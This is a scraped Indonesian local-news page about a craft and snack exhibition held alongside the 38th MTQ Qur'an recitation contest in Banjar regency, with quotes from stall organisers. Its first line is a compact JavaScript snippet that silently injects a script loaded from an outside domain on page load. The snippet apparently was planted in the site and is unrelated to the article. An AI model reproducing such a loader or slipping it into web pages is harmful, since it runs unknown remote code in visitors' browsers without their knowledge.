(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Musabaqah Tilawatil Qur’an (MTQ) ke-38 tingkat Kabupaten Banjar 2025 tidak hanya menjadi ajang syiar Islam tetapi juga momen penggerak ekonomi masyarakat.
Kegiatan yang digelar di Kecamatan Astambul ini dimeriahkan dengan pameran Ekonomi Kreatif dan Usaha Mikro Kecil Menengah (UMKM) yang menampilkan berbagai produk unggulan lokal.
Pameran ini menjadi daya tarik tersendiri bagi pengunjung MTQ. Berbagai produk khas Banjar seperti kain sasirangan, kerajinan tangan, hingga produk makanan olahan modern lokal atau camilan dipajang pada stand-stand yang tertata rapi.
Baca juga: Coktas Pemilih Triwulan III KPU Banjarbaru, Ini Masalah yang Didapati
MTQ ke-38 tingkat Kabupaten Banjar yang digelar di Kecamatan Astambul dimeriahkan dengan pameran Ekonomi Kreatif dan UMKM yang menampilkan berbagai produk unggulan lokal. Foto: ahmad mursyidi
Salah satu peserta stand Dinas Koperasi Usaha Mikro Perindustrian Perdagangan (DKUMPP) Kabupaten Banjar menampilkan produk kerajinan tangan seperti sendok, sanduk, garpu yang semuanya terbuat kayu, gantungan kunci dan pin bertulisan Banjar Kalsel, tasbih dan gantungan id card kulit.
Selain itu DKUMPP Banjar juga menampilkan makanan modern olahan lokal seperti d’achil camilan -keripik ikan sepat, kacang telur serta cocolan buah- dan banyak lagi produk makanan modern olahan lokal yang lainnya.
Untuk fashion menampilkan kain sasirangan berbagai motif seperti selendang, jaket, baju biasa dan lain-lain.
Baca juga: 14 Santri dan Santriwati Dilepas Tempuh Pendidikan ke Timur Tengah
MTQ ke-38 tingkat Kabupaten Banjar yang digelar di Kecamatan Astambul dimeriahkan dengan pameran Ekonomi Kreatif dan UMKM yang menampilkan berbagai produk unggulan lokal. Foto: ahmad mursyidi
Salah satu Cahyati Wilda Selvia mengatakan produk ini dari berbagai kecamatan di bawah binaan DKUMPP Kabupaten Banjar.
“Di dalam stand DKUMPP dari berbagai kecamatan ikut bergabung dengan berbagai produk yang ditampilkan,” katanya.
Sementara itu, Ketua Kelompok Inklusif Pelaku Usaha Mikro (KIPUM) Kabupaten Banjar, Ely Ratna Wiyatiningsih mengatakan, tidak semua kecamatan masuk ke stand DKUMPP tetapi buka di stand yang lain.
Baca juga: Sejarah Hari Olahraga Nasional 9 September
MTQ ke-38 tingkat Kabupaten Banjar yang digelar di Kecamatan Astambul dimeriahkan dengan pameran Ekonomi Kreatif dan UMKM yang menampilkan berbagai produk unggulan lokal. Foto: ahmad mursyidi
Setiap bidang usaha kerajinan tangan, produk olahan makanan modern dan kain sasirangan di stand DKUMPP ada yang mengelola masing-masing.
Ely yang juga sekretaris KIPUM Kecamatan Martapura Kota khusus mengelola produk olahan makanan modern dengan menampilkan produk yaitu d’achil camilan bersanding dengan produk makanan modern lainnya.
“Tidak mungkin semua produk yang menjaga atau mengelola satu persatu orangnya, maka dari itulah ditunjuk salah satu yang mengelola di stand. Kebetulan saya ditunjuk mengelola stand makanan camilan,” katanya. (Kanalkalimantan.com/ahmad mursyidi)
Reporter: ahmad mursyidi
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More
KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More
KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More
KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More
This website uses cookies.